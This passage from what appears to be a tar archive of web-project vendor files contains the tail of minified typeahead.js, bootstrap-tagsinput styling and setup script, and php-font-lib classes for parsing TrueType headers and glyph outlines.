h(a,b){a.data(p.attrs,{dir:a.attr("dir"),autocomplete:a.attr("autocomplete"),spellcheck:a.attr("spellcheck"),style:a.attr("style")}),a.addClass(b.classes.input).attr({autocomplete:"off",spellcheck:!1});try{!a.attr("dir")&&a.attr("dir","auto")}catch(c){}return a}function l(a){return{backgroundAttachment:a.css("background-attachment"),backgroundClip:a.css("background-clip"),backgroundColor:a.css("background-color"),backgroundImage:a.css("background-image"),backgroundOrigin:a.css("background-origin"),backgroundPosition:a.css("background-position"),backgroundRepeat:a.css("background-repeat"),backgroundSize:a.css("background-size")}}function m(a){var c,d;c=a.data(p.www),d=a.parent().filter(c.selectors.wrapper),b.each(a.data(p.attrs),function(c,d){b.isUndefined(c)?a.removeAttr(d):a.attr(d,c)}),a.removeData(p.typeahead).removeData(p.www).removeData(p.attr).removeClass(c.classes.input),d.length&&(a.detach().insertAfter(d),d.remove())}function n(c){var d,e;return d=b.isJQuery(c)||b.isElement(c),e=d?a(c).first():[],e.length?e:null}var o,p,q;o=a.fn.typeahead,p={www:"tt-www",attrs:"tt-attrs",typeahead:"tt-typeahead"},q={initialize:function(e,l){function m(){var c,m,q,r,s,t,u,v,w,x,y;b.each(l,function(a){a.highlight=!!e.highlight}),c=a(this),m=a(o.html.wrapper),q=n(e.hint),r=n(e.menu),s=e.hint!==!1&&!q,t=e.menu!==!1&&!r,s&&(q=f(c,o)),t&&(r=a(o.html.menu).css(o.css.menu)),q&&q.val(""),c=h(c,o),(s||t)&&(m.css(o.css.wrapper),c.css(s?o.css.input:o.css.inputWithNoHint),c.wrap(m).parent().prepend(s?q:null).append(t?r:null)),y=t?j:i,u=new d({el:c}),v=new g({hint:q,input:c},o),w=new y({node:r,datasets:l},o),x=new k({input:v,menu:w,eventBus:u,minLength:e.minLength},o),c.data(p.www,o),c.data(p.typeahead,x)}var o;return l=b.isArray(l)?l:[].slice.call(arguments,1),e=e||{},o=c(e.classNames),this.each(m)},isEnabled:function(){var a;return e(this.first(),function(b){a=b.isEnabled()}),a},enable:function(){return e(this,function(a){a.enable()}),this},disable:function(){return e(this,function(a){a.disable()}),this},isActive:function(){var a;return e(this.first(),function(b){a=b.isActive()}),a},activate:function(){return e(this,function(a){a.activate()}),this},deactivate:function(){return e(this,function(a){a.deactivate()}),this},isOpen:function(){var a;return e(this.first(),function(b){a=b.isOpen()}),a},open:function(){return e(this,function(a){a.open()}),this},close:function(){return e(this,function(a){a.close()}),this},select:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.select(d)}),c},autocomplete:function(b){var c=!1,d=a(b);return e(this.first(),function(a){c=a.autocomplete(d)}),c},moveCursor:function(a){var b=!1;return e(this.first(),function(c){b=c.moveCursor(a)}),b},val:function(a){var b;return arguments.length?(e(this,function(b){b.setVal(a)}),this):(e(this.first(),function(a){b=a.getVal()}),b)},destroy:function(){return e(this,function(a,b){m(b),a.destroy()}),this}},a.fn.typeahead=function(a){return q[a]?q[a].apply(this,[].slice.call(arguments,1)):q.initialize.apply(this,arguments)},a.fn.typeahead.noConflict=function(){return a.fn.typeahead=o,this}}()});vendor/input-tags/tagsinput.css000066600000003314151150442750012675 0ustar00.bootstrap-tagsinput {
	width: 100%;
	padding: .375rem .75rem;
	font-weight: 400;
	color: #495057;
	display: flex;
	align-items: center;
	background-color: #fff;
	background-clip: padding-box;
	border: 1px solid #ced4da;
	border-radius: .25rem;
	transition: border-color .15s ease-in-out,box-shadow .15s ease-in-out;
}
.bootstrap-tagsinput input {
	border: none;
	box-shadow: none;
	outline: none;
	background-color: transparent;
	padding: 0 6px;
	margin: 0;
	width: auto;
	max-width: inherit;
}
.bootstrap-tagsinput.form-control input::-moz-placeholder {
	color: #777;
	opacity: 1;
}
.bootstrap-tagsinput.form-control input:-ms-input-placeholder {
	color: #777;
}
.bootstrap-tagsinput.form-control input::-webkit-input-placeholder {
	color: #777;
}
.bootstrap-tagsinput input:focus {
	border: none;
	box-shadow: none;
}
.bootstrap-tagsinput .tag {
	margin: 1px;
	font-weight: 400;
	background: #ff395a;

}
.bootstrap-tagsinput .tag [data-role="remove"] {
	margin-left: 5px;
	cursor: pointer;
}
.bootstrap-tagsinput .tag [data-role="remove"]:after {
	content: "x";
	padding: 0px 2px;
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover {
	box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover:active {
	box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}







.tt-menu {
	min-width: 150px;
	background-color: #fff;
	border: 1px solid rgba(72, 94, 144, 0.16);
	padding: 5px;
	border-bottom-right-radius: 0.25rem;
	border-bottom-left-radius: 0.25rem;
	box-shadow: 0 6px 8px 2px rgba(28, 39, 60, 0.04);
}

.tt-suggestion {
	padding: 2px 10px;
}
.tt-suggestion:hover, .tt-suggestion:focus {
	cursor: pointer;
	background-color: #0168fa;
	color: #ffffff;
}vendor/input-tags/tagsinput-custom.js000066600000001166151150442750014034 0ustar00$(document).ready(function() {

	var citynames = new Bloodhound({
		datumTokenizer: Bloodhound.tokenizers.obj.whitespace('name'),
		queryTokenizer: Bloodhound.tokenizers.whitespace,
		prefetch: {
			url: 'https://raw.githubusercontent.com/bootstrap-tagsinput/bootstrap-tagsinput/master/examples/assets/citynames.json',
			filter: function(list) {
				return $.map(list, function(cityname) {
					return { name: cityname }; });
				}
			}
	});

	citynames.initialize();
	
	$('#typeahead').tagsinput({
		typeaheadjs: {
			name: 'citynames',
			displayKey: 'name',
			valueKey: 'name',
			source: citynames.ttAdapter()
		}
	});

});
vendor/dompdf/php-font-lib/AUTHORS.md000066600000000536151150442750013274 0ustar00FontLib was designed and developed by Fabien Ménager.

### Current Team

* **Brian Sweeney** (maintainer)

### Alumni

* **Fabien Ménager** (creator)

### Contributors
* **mondrake**
* [and many more...](https://github.com/dompdf/php-font-lib/graphs/contributors)

### Thanks

FontLib would not have been possible without strong community support.
vendor/dompdf/php-font-lib/src/FontLib/Header.php000066600000001236151150442750015650 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */
namespace FontLib;

use FontLib\TrueType\File;

/**
 * Font header container.
 *
 * @package php-font-lib
 */
abstract class Header extends BinaryStream {
  /**
   * @var File
   */
  protected $font;
  protected $def = array();

  public $data;

  public function __construct(File $font) {
    $this->font = $font;
  }

  public function encode() {
    return $this->font->pack($this->def, $this->data);
  }

  public function parse() {
    $this->data = $this->font->unpack($this->def);
  }
}vendor/dompdf/php-font-lib/src/FontLib/Glyph/OutlineSimple.php000066600000020233151150442750020332 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @version $Id: Font_Table_glyf.php 46 2012-04-02 20:22:38Z fabien.menager $
 */

namespace FontLib\Glyph;

/**
 * `glyf` font table.
 *
 * @package php-font-lib
 */
class OutlineSimple extends Outline {
  const ON_CURVE       = 0x01;
  const X_SHORT_VECTOR = 0x02;
  const Y_SHORT_VECTOR = 0x04;
  const REPEAT         = 0x08;
  const THIS_X_IS_SAME = 0x10;
  const THIS_Y_IS_SAME = 0x20;

  public $instructions;
  public $points;

  function parseData() {
    parent::parseData();

    if (!$this->size) {
      return;
    }

    $font = $this->getFont();

    $noc = $this->numberOfContours;

    if ($noc == 0) {
      return;
    }

    $endPtsOfContours = $font->r(array(self::uint16, $noc));

    $instructionLength  = $font->readUInt16();
    $this->instructions = $font->r(array(self::uint8, $instructionLength));

    $count = $endPtsOfContours[$noc - 1] + 1;

    // Flags
    $flags = array();
    for ($index = 0; $index < $count; $index++) {
      $flags[$index] = $font->readUInt8();

      if ($flags[$index] & self::REPEAT) {
        $repeats = $font->readUInt8();

        for ($i = 1; $i <= $repeats; $i++) {
          $flags[$index + $i] = $flags[$index];
        }

        $index += $repeats;
      }
    }

    $points = array();
    foreach ($flags as $i => $flag) {
      $points[$i]["onCurve"]      = $flag & self::ON_CURVE;
      $points[$i]["endOfContour"] = in_array($i, $endPtsOfContours);
    }

    // X Coords
    $x = 0;
    for ($i = 0; $i < $count; $i++) {
      $flag = $flags[$i];

      if ($flag & self::THIS_X_IS_SAME) {
        if ($flag & self::X_SHORT_VECTOR) {
          $x += $font->readUInt8();
        }
      }
      else {
        if ($flag & self::X_SHORT_VECTOR) {
          $x -= $font->readUInt8();
        }
        else {
          $x += $font->readInt16();
        }
      }

      $points[$i]["x"] = $x;
    }

    // Y Coords
    $y = 0;
    for ($i = 0; $i < $count; $i++) {
      $flag = $flags[$i];

      if ($flag & self::THIS_Y_IS_SAME) {
        if ($flag & self::Y_SHORT_VECTOR) {
          $y += $font->readUInt8();
        }
      }
      else {
        if ($flag & self::Y_SHORT_VECTOR) {
          $y -= $font->readUInt8();
        }
        else {
          $y += $font->readInt16();
        }
      }

      $points[$i]["y"] = $y;
    }

    $this->points = $points;
  }

  public function splitSVGPath($path) {
    preg_match_all('/([a-z])|(-?\d+(?:\.\d+)?)/i', $path, $matches, PREG_PATTERN_ORDER);

    return $matches[0];
  }

  public function makePoints($path) {
    $path = $this->splitSVGPath($path);
    $l    = count($path);
    $i    = 0;

    $points = array();

    while ($i < $l) {
      switch ($path[$i]) {
        // moveTo
        case "M":
          $points[] = array(
            "onCurve"      => true,
            "x"            => $path[++$i],
            "y"            => $path[++$i],
            "endOfContour" => false,
          );
          break;

        // lineTo
        case "L":
          $points[] = array(
            "onCurve"      => true,
            "x"            => $path[++$i],
            "y"            => $path[++$i],
            "endOfContour" => false,
          );
          break;

        // quadraticCurveTo
        case "Q":
          $points[] = array(
            "onCurve"      => false,
            "x"            => $path[++$i],
            "y"            => $path[++$i],
            "endOfContour" => false,
          );
          $points[] = array(
            "onCurve"      => true,
            "x"            => $path[++$i],
            "y"            => $path[++$i],
            "endOfContour" => false,
          );
          break;

        // closePath
        /** @noinspection PhpMissingBreakStatementInspection */
        case "z":
          $points[count($points) - 1]["endOfContour"] = true;

        default:
          $i++;
          break;
      }
    }

    return $points;
  }

  function encode() {
    if (empty($this->points)) {
      return parent::encode();
    }

    return $this->size = $this->encodePoints($this->points);
  }

  public function encodePoints($points) {
    $endPtsOfContours = array();
    $flags            = array();
    $coords_x         = array();
    $coords_y         = array();

    $last_x = 0;
    $last_y = 0;
    $xMin   = $yMin = 0xFFFF;
    $xMax   = $yMax = -0xFFFF;
    foreach ($points as $i => $point) {
      $flag = 0;
      if ($point["onCurve"]) {
        $flag |= self::ON_CURVE;
      }

      if ($point["endOfContour"]) {
        $endPtsOfContours[] = $i;
      }

      // Simplified, we could do some optimizations
      if ($point["x"] == $last_x) {
        $flag |= self::THIS_X_IS_SAME;
      }
      else {
        $x          = intval($point["x"]);
        $xMin       = min($x, $xMin);
        $xMax       = max($x, $xMax);
        $coords_x[] = $x - $last_x; // int16
      }

      // Simplified, we could do some optimizations
      if ($point["y"] == $last_y) {
        $flag |= self::THIS_Y_IS_SAME;
      }
      else {
        $y          = intval($point["y"]);
        $yMin       = min($y, $yMin);
        $yMax       = max($y, $yMax);
        $coords_y[] = $y - $last_y; // int16
      }

      $flags[] = $flag;
      $last_x  = $point["x"];
      $last_y  = $point["y"];
    }

    $font = $this->getFont();

    $l = 0;
    $l += $font->writeInt16(count($endPtsOfContours)); // endPtsOfContours
    $l += $font->writeFWord(isset($this->xMin) ? $this->xMin : $xMin); // xMin
    $l += $font->writeFWord(isset($this->yMin) ? $this->yMin : $yMin); // yMin
    $l += $font->writeFWord(isset($this->xMax) ? $this->xMax : $xMax); // xMax
    $l += $font->writeFWord(isset($this->yMax) ? $this->yMax : $yMax); // yMax

    // Simple glyf
    $l += $font->w(array(self::uint16, count($endPtsOfContours)), $endPtsOfContours); // endPtsOfContours
    $l += $font->writeUInt16(0); // instructionLength
    $l += $font->w(array(self::uint8, count($flags)), $flags); // flags
    $l += $font->w(array(self::int16, count($coords_x)), $coords_x); // xCoordinates
    $l += $font->w(array(self::int16, count($coords_y)), $coords_y); // yCoordinates
    return $l;
  }

  public function getSVGContours($points = null) {
    $path = "";

    if (!$points) {
      if (empty($this->points)) {
        $this->parseData();
      }

      $points = $this->points;
    }

    $length     = (empty($points) ? 0 : count($points));
    $firstIndex = 0;
    $count      = 0;

    for ($i = 0; $i < $length; $i++) {
      $count++;

      if ($points[$i]["endOfContour"]) {
        $path .= $this->getSVGPath($points, $firstIndex, $count);
        $firstIndex = $i + 1;
        $count      = 0;
      }
    }

    return $path;
  }

  protected function getSVGPath($points, $startIndex, $count) {
    $offset = 0;
    $path   = "";

    while ($offset < $count) {
      $point    = $points[$startIndex + $offset % $count];
      $point_p1 = $points[$startIndex + ($offset + 1) % $count];

      if ($offset == 0) {
        $path .= "M{$point['x']},{$point['y']} ";
      }

      if ($point["onCurve"]) {
        if ($point_p1["onCurve"]) {
          $path .= "L{$point_p1['x']},{$point_p1['y']} ";
          $offset++;
        }
        else {
          $point_p2 = $points[$startIndex + ($offset + 2) % $count];

          if ($point_p2["onCurve"]) {
            $path .= "Q{$point_p1['x']},{$point_p1['y']},{$point_p2['x']},{$point_p2['y']} ";
          }
          else {
            $path .= "Q{$point_p1['x']},{$point_p1['y']}," . $this->midValue($point_p1['x'], $point_p2['x']) . "," . $this->midValue($point_p1['y'], $point_p2['y']) . " ";
          }

          $offset += 2;
        }
      }
      else {
        if ($point_p1["onCurve"]) {
          $path .= "Q{$point['x']},{$point['y']},{$point_p1['x']},{$point_p1['y']} ";
        }
        else {
          $path .= "Q{$point['x']},{$point['y']}," . $this->midValue($point['x'], $point_p1['x']) . "," . $this->midValue($point['y'], $point_p1['y']) . " ";
        }

        $offset++;
      }
    }

    $path .= "z ";

    return $path;
  }

  function midValue($a, $b) {
    return $a + ($b - $a) / 2;
  }
}
vendor/dompdf/php-font-lib/src/FontLib/Glyph/OutlineComponent.php000066600000001213151150442750021040 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @version $Id: Font_Table_glyf.php 46 2012-04-02 20:22:38Z fabien.menager $
 */

namespace FontLib\Glyph;
/**
 * Glyph outline component
 *
 * @package php-font-lib
 */
class OutlineComponent {
  public $flags;
  public $glyphIndex;
  public $a, $b, $c, $d, $e, $f;
  public $point_compound;
  public $point_component;
  public $instructions;

  function getMatrix() {
    return array(
      $this->a, $this->b,
      $this->c, $this->d,
      $this->e, $this->f,
    );
  }
}vendor/dompdf/php-font-lib/src/FontLib/Glyph/Outline.php000066600000004271151150442750017164 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @version $Id: Font_Table_glyf.php 46 2012-04-02 20:22:38Z fabien.menager $
 */
namespace FontLib\Glyph;

use FontLib\Table\Type\glyf;
use FontLib\TrueType\File;
use FontLib\BinaryStream;

/**
 * `glyf` font table.
 *
 * @package php-font-lib
 */
class Outline extends BinaryStream {
  /**
   * @var \FontLib\Table\Type\glyf
   */
  protected $table;

  protected $offset;
  protected $size;

  // Data
  public $numberOfContours;
  public $xMin;
  public $yMin;
  public $xMax;
  public $yMax;

  /**
   * @var string|null
   */
  public $raw;

  /**
   * @param glyf $table
   * @param                 $offset
   * @param                 $size
   *
   * @return Outline
   */
  static function init(glyf $table, $offset, $size, BinaryStream $font) {
    $font->seek($offset);

    if ($size === 0 || $font->readInt16() > -1) {
      /** @var OutlineSimple $glyph */
      $glyph = new OutlineSimple($table, $offset, $size);
    }
    else {
      /** @var OutlineComposite $glyph */
      $glyph = new OutlineComposite($table, $offset, $size);
    }

    $glyph->parse($font);

    return $glyph;
  }

  /**
   * @return File
   */
  function getFont() {
    return $this->table->getFont();
  }

  function __construct(glyf $table, $offset = null, $size = null) {
    $this->table  = $table;
    $this->offset = $offset;
    $this->size   = $size;
  }

  function parse(BinaryStream $font) {
    $font->seek($this->offset);

      $this->raw = $font->read($this->size);
  }

  function parseData() {
    $font = $this->getFont();
    $font->seek($this->offset);

    $this->numberOfContours = $font->readInt16();
    $this->xMin             = $font->readFWord();
    $this->yMin             = $font->readFWord();
    $this->xMax             = $font->readFWord();
    $this->yMax             = $font->readFWord();
  }

  function encode() {
    $font = $this->getFont();

    return $font->write($this->raw, mb_strlen((string) $this->raw, '8bit'));
  }

  function getSVGContours() {
    // Inherit
  }

  function getGlyphIDs() {
    return array();
  }
}

vendor/dompdf/php-font-lib/src/FontLib/Glyph/OutlineComposite.php000066600000016031151150442750021044 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 * @version $Id: Font_Table_glyf.php 46 2012-04-02 20:22:38Z fabien.menager $
 */

namespace FontLib\Glyph;

/**
 * Composite glyph outline
 *
 * @package php-font-lib
 */
class OutlineComposite extends Outline {
  const ARG_1_AND_2_ARE_WORDS    = 0x0001;
  const ARGS_ARE_XY_VALUES       = 0x0002;
  const ROUND_XY_TO_GRID         = 0x0004;
  const WE_HAVE_A_SCALE          = 0x0008;
  const MORE_COMPONENTS          = 0x0020;
  const WE_HAVE_AN_X_AND_Y_SCALE = 0x0040;
  const WE_HAVE_A_TWO_BY_TWO     = 0x0080;
  const WE_HAVE_INSTRUCTIONS     = 0x0100;
  const USE_MY_METRICS           = 0x0200;
  const OVERLAP_COMPOUND         = 0x0400;

  /**
   * @var OutlineComponent[]
   */
  public $components = array();

  function getGlyphIDs() {
    if (empty($this->components)) {
      $this->parseData();
    }

    $glyphIDs = array();
    foreach ($this->components as $_component) {
      $glyphIDs[] = $_component->glyphIndex;

      $_glyph   = $this->table->data[$_component->glyphIndex];

      if ($_glyph !== $this) {
        $glyphIDs = array_merge($glyphIDs, $_glyph->getGlyphIDs());
      }
    }

    return $glyphIDs;
  }

  /*function parse() {
    //$this->parseData();
  }*/

  function parseData() {
    parent::parseData();

    $font = $this->getFont();

    do {
      $flags      = $font->readUInt16();
      $glyphIndex = $font->readUInt16();

      $a = 1.0;
      $b = 0.0;
      $c = 0.0;
      $d = 1.0;
      $e = 0.0;
      $f = 0.0;

      $point_compound  = null;
      $point_component = null;

      $instructions = null;

      if ($flags & self::ARG_1_AND_2_ARE_WORDS) {
        if ($flags & self::ARGS_ARE_XY_VALUES) {
          $e = $font->readInt16();
          $f = $font->readInt16();
        }
        else {
          $point_compound  = $font->readUInt16();
          $point_component = $font->readUInt16();
        }
      }
      else {
        if ($flags & self::ARGS_ARE_XY_VALUES) {
          $e = $font->readInt8();
          $f = $font->readInt8();
        }
        else {
          $point_compound  = $font->readUInt8();
          $point_component = $font->readUInt8();
        }
      }

      if ($flags & self::WE_HAVE_A_SCALE) {
        $a = $d = $font->readInt16();
      }
      elseif ($flags & self::WE_HAVE_AN_X_AND_Y_SCALE) {
        $a = $font->readInt16();
        $d = $font->readInt16();
      }
      elseif ($flags & self::WE_HAVE_A_TWO_BY_TWO) {
        $a = $font->readInt16();
        $b = $font->readInt16();
        $c = $font->readInt16();
        $d = $font->readInt16();
      }

      //if ($flags & self::WE_HAVE_INSTRUCTIONS) {
      //
      //}

      $component                  = new OutlineComponent();
      $component->flags           = $flags;
      $component->glyphIndex      = $glyphIndex;
      $component->a               = $a;
      $component->b               = $b;
      $component->c               = $c;
      $component->d               = $d;
      $component->e               = $e;
      $component->f               = $f;
      $component->point_compound  = $point_compound;
      $component->point_component = $point_component;
      $component->instructions    = $instructions;

      $this->components[] = $component;
    } while ($flags & self::MORE_COMPONENTS);
    if ($flags & self::WE_HAVE_INSTRUCTIONS) {
      $numInstr = $font->readUInt16();
      $instr = $font->read($numInstr);
      $this->components[count($this->components) - 1]->instructions = pack('n', $numInstr) . $instr;
    }
  }

  function encode() {
    $font = $this->getFont();

    $gids = $font->getSubset();

    $size = $font->writeInt16(-1);
    $size += $font->writeFWord($this->xMin);
    $size += $font->writeFWord($this->yMin);
    $size += $font->writeFWord($this->xMax);
    $size += $font->writeFWord($this->yMax);

    foreach ($this->components as $_i => $_component) {
      $flags = 0;
      if ($_component->point_component === null && $_component->point_compound === null) {
        $flags |= self::ARGS_ARE_XY_VALUES;

        if (abs($_component->e) > 0x7F || abs($_component->f) > 0x7F) {
          $flags |= self::ARG_1_AND_2_ARE_WORDS;
        }
      }
      elseif ($_component->point_component > 0xFF || $_component->point_compound > 0xFF) {
        $flags |= self::ARG_1_AND_2_ARE_WORDS;
      }

      if ($_component->b == 0 && $_component->c == 0) {
        if ($_component->a == $_component->d) {
          if ($_component->a != 1.0) {
            $flags |= self::WE_HAVE_A_SCALE;
          }
        }
        else {
          $flags |= self::WE_HAVE_AN_X_AND_Y_SCALE;
        }
      }
      else {
        $flags |= self::WE_HAVE_A_TWO_BY_TWO;
      }

      if ($_i < count($this->components) - 1) {
        $flags |= self::MORE_COMPONENTS;
      } elseif($_component->instructions !== null) {
        $flags |= self::WE_HAVE_INSTRUCTIONS;
      }

      $size += $font->writeUInt16($flags);

      $new_gid = array_search($_component->glyphIndex, $gids);
      $size += $font->writeUInt16($new_gid);

      if ($flags & self::ARG_1_AND_2_ARE_WORDS) {
        if ($flags & self::ARGS_ARE_XY_VALUES) {
          $size += $font->writeInt16($_component->e);
          $size += $font->writeInt16($_component->f);
        }
        else {
          $size += $font->writeUInt16($_component->point_compound);
          $size += $font->writeUInt16($_component->point_component);
        }
      }
      else {
        if ($flags & self::ARGS_ARE_XY_VALUES) {
          $size += $font->writeInt8($_component->e);
          $size += $font->writeInt8($_component->f);
        }
        else {
          $size += $font->writeUInt8($_component->point_compound);
          $size += $font->writeUInt8($_component->point_component);
        }
      }

      if ($flags & self::WE_HAVE_A_SCALE) {
        $size += $font->writeInt16($_component->a);
      }
      elseif ($flags & self::WE_HAVE_AN_X_AND_Y_SCALE) {
        $size += $font->writeInt16($_component->a);
        $size += $font->writeInt16($_component->d);
      }
      elseif ($flags & self::WE_HAVE_A_TWO_BY_TWO) {
        $size += $font->writeInt16($_component->a);
        $size += $font->writeInt16($_component->b);
        $size += $font->writeInt16($_component->c);
        $size += $font->writeInt16($_component->d);
      }
    }

    if($_component->instructions !== null) {
      $size += $font->write($_component->instructions, strlen($_component->instructions));
    }

    return $size;
  }

  public function getSVGContours() {
    $contours = array();

    /** @var \FontLib\Table\Type\glyf $glyph_data */
    $glyph_data = $this->getFont()->getTableObject("glyf");

    /** @var Outline[] $glyphs */
    $glyphs = $glyph_data->data;

    foreach ($this->components as $component) {
      $_glyph = $glyphs[$component->glyphIndex];

      if ($_glyph !== $this) {
        $contours[] = array(
          "contours"  => $_glyph->getSVGContours(),
          "transform" => $component->getMatrix(),
        );
      }
    }

    return $contours;
  }
}vendor/dompdf/php-font-lib/src/FontLib/TrueType/Header.php000066600000001302151150442750017423 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\TrueType;

/**
 * TrueType font file header.
 *
 * @package php-font-lib
 */
class Header extends \FontLib\Header {
  protected $def = array(
    "format"        => self::uint32,
    "numTables"     => self::uint16,
    "searchRange"   => self::uint16,
    "entrySelector" => self::uint16,
    "rangeShift"    => self::uint16,
  );

  public function parse() {
    parent::parse();

    $format                   = $this->data["format"];
    $this->data["formatText"] = $this->convertUInt32ToStr($format);
  }
}vendor/dompdf/php-font-lib/src/FontLib/TrueType/TableDirectoryEntry.php000066600000001251151150442750022174 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\TrueType;

use FontLib\Table\DirectoryEntry;

/**
 * TrueType table directory entry.
 *
 * @package php-font-lib
 */
class TableDirectoryEntry extends DirectoryEntry {
  function __construct(File $font) {
    parent::__construct($font);
  }

  function parse() {
    parent::parse();

    $font           = $this->font;
    $this->checksum = $font->readUInt32();
    $this->offset   = $font->readUInt32();
    $this->length   = $font->readUInt32();
    $this->entryLength += 12;
  }
}

vendor/dompdf/php-font-lib/src/FontLib/TrueType/File.php000066600000036514151150442750017127 0ustar00<?php
/**
 * @package php-font-lib
 * @link    https://github.com/dompdf/php-font-lib
 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
 */

namespace FontLib\TrueType;

use FontLib\AdobeFontMetrics;
use FontLib\Font;
use FontLib\BinaryStream;
use FontLib\Table\Table;
use FontLib\Table\DirectoryEntry;
use FontLib\Table\Type\glyf;
use FontLib\Table\Type\name;
use FontLib\Table\Type\nameRecord;

/**
 * TrueType font file.
 *
 * @package php-font-lib
 */
class File extends BinaryStream {
  /**
   * @var Header
   */
  public $header = array();

  private $tableOffset = 0; // Used for TTC

  private static $raw = false;

  protected $directory = array();
  protected $data = array();

  protected $glyph_subset = array();

  public $glyph_all = array();

  static $macCharNames = array(
    ".notdef", ".null", "CR",
    "space", "exclam", "quotedbl", "numbersign",
    "dollar", "percent", "ampersand", "quotesingle",
    "parenleft", "parenright", "asterisk", "plus",
    "comma", "hyphen", "period", "slash",
    "zero", "one", "two", "three",
    "four", "five", "six", "seven",
    "eight", "nine", "colon", "semicolon",
    "less", "equal", "greater", "question",
    "at", "A", "B", "C", "D", "E", "F", "G",
    "H", "I", "J", "K", "L", "M", "N", "O",
    "P", "Q", "R", "S", "T", "U", "V", "W",
    "X", "Y", "Z", "bracketleft",
    "backslash", "bracketright", "asciicircum", "underscore",
    "grave", "a", "b", "c", "d", "e", "f", "g",
    "h", "i", "j", "k", "l", "m", "n", "o",
    "p", "q", "r", "s", "t", "u", "v", "w",
    "x", "y", "z", "braceleft",
    "bar", "braceright", "asciitilde", "Adieresis",
    "Aring", "Ccedilla", "Eacute", "Ntilde",
    "Odieresis", "Udieresis", "aacute", "agrave",
    "acircumflex", "adieresis", "atilde", "aring",
    "ccedilla", "eacute", "egrave", "ecircumflex",
    "edieresis", "iacute", "igrave", "icircumflex",
    "idieresis", "ntilde", "oacute", "ograve",
    "ocircumflex", "odieresis", "otilde", "uacute",
    "ugrave", "ucircumflex", "udieresis", "dagger",
    "degree", "cent", "sterling", "section",
    "bullet", "paragraph", "germandbls", "registered",
    "copyright", "trademark", "acute", "dieresis",
    "notequal", "AE", "Oslash", "infinity",
    "plusminus", "lessequal", "greaterequal", "yen",
    "mu", "partialdiff", "summation", "product",
    "pi", "integral", "ordfeminine", "ordmasculine",
    "Omega", "ae", "oslash", "questiondown",
    "exclamdown", "logicalnot", "radical", "florin",
    "approxequal", "increment", "guillemotleft", "guillemotright",
    "ellipsis", "nbspace", "Agrave", "Atilde",
    "Otilde", "OE", "oe", "endash",
    "emdash", "quotedblleft", "quotedblright", "quoteleft",
    "quoteright", "divide", "lozenge", "ydieresis",
    "Ydieresis", "fraction", "currency", "guilsinglleft",
    "guilsinglright", "fi", "fl", "daggerdbl",
    "periodcentered", "quotesinglbase", "quotedblbase", "perthousand",
    "Acircumflex", "Ecircumflex", "Aacute", "Edieresis",
    "Egrave", "Iacute", "Icircumflex", "Idieresis",
    "Igrave", "Oacute", "Ocircumflex", "applelogo",
    "Ograve", "Uacute", "Ucircumflex", "Ugrave",
    "dotlessi", "circumflex", "tilde", "macron",
    "breve", "dotaccent", "ring", "cedilla",
    "hungarumlaut", "ogonek", "caron", "Lslash",
    "lslash", "Scaron", "scaron", "Zcaron",
    "zcaron", "brokenbar", "Eth", "eth",
    "Yacute", "yacute", "Thorn", "thorn",
    "minus", "multiply", "onesuperior", "twosuperior",
    "threesuperior", "onehalf", "onequarter", "threequarters",
    "franc", "Gbreve", "gbreve", "Idot",
    "Scedilla", "scedilla", "Cacute", "cacute",
    "Ccaron", "ccaron", "dmacron"
  );

  private function uniord (string $c, string $encoding = null) {
    if (function_exists("mb_ord")) {
      if (PHP_VERSION_ID < 80000 && $encoding === null) {
          // in PHP < 8 the encoding argument, if supplied, must be a valid encoding
          $encoding = "UTF-8";
      }
      return mb_ord($c, $encoding);
    }

    if ($encoding != "UTF-8" && $encoding !== null) {
      $c = mb_convert_encoding($c, "UTF-8", $encoding);
    }

    $length = mb_strlen(mb_substr($c, 0, 1), '8bit');
    $ord = false;
    $bytes = [];
    $numbytes = 1;
    for ($i = 0; $i < $length; $i++) {
      $o = \ord($c[$i]); // get one string character at time
      if (\count($bytes) === 0) { // get starting octect
        if ($o <= 0x7F) {
          $ord = $o;
          $numbytes = 1;
        } elseif (($o >> 0x05) === 0x06) { // 2 bytes character (0x06 = 110 BIN)
          $bytes[] = ($o - 0xC0) << 0x06;
          $numbytes = 2;
        } elseif (($o >> 0x04) === 0x0E) { // 3 bytes character (0x0E = 1110 BIN)
          $bytes[] = ($o - 0xE0) << 0x0C;
          $numbytes = 3;
        } elseif (($o >> 0x03) === 0x1E) { // 4 bytes character (0x1E = 11110 BIN)
          $bytes[] = ($o - 0xF0) << 0x12;
          $numbytes = 4;
        } else {
          $ord = false;
          break;
        }
      } elseif (($o >> 0x06) === 0x02) { // bytes 2, 3 and 4 must start with 0x02 = 10 BIN
          $bytes[] = $o - 0x80;
          if (\count($bytes) === $numbytes) {
            // compose UTF-8 bytes to a single unicode value
            $o = $bytes[0];
            for ($j = 1; $j < $numbytes; $j++) {
              $o += ($bytes[$j] << (($numbytes - $j - 1) * 0x06));
            }
            if ((($o >= 0xD800) and ($o <= 0xDFFF)) or ($o >= 0x10FFFF)) {
              // The definition of UTF-8 prohibits encoding character numbers between
              // U+D800 and U+DFFF, which are reserved for use with the UTF-16
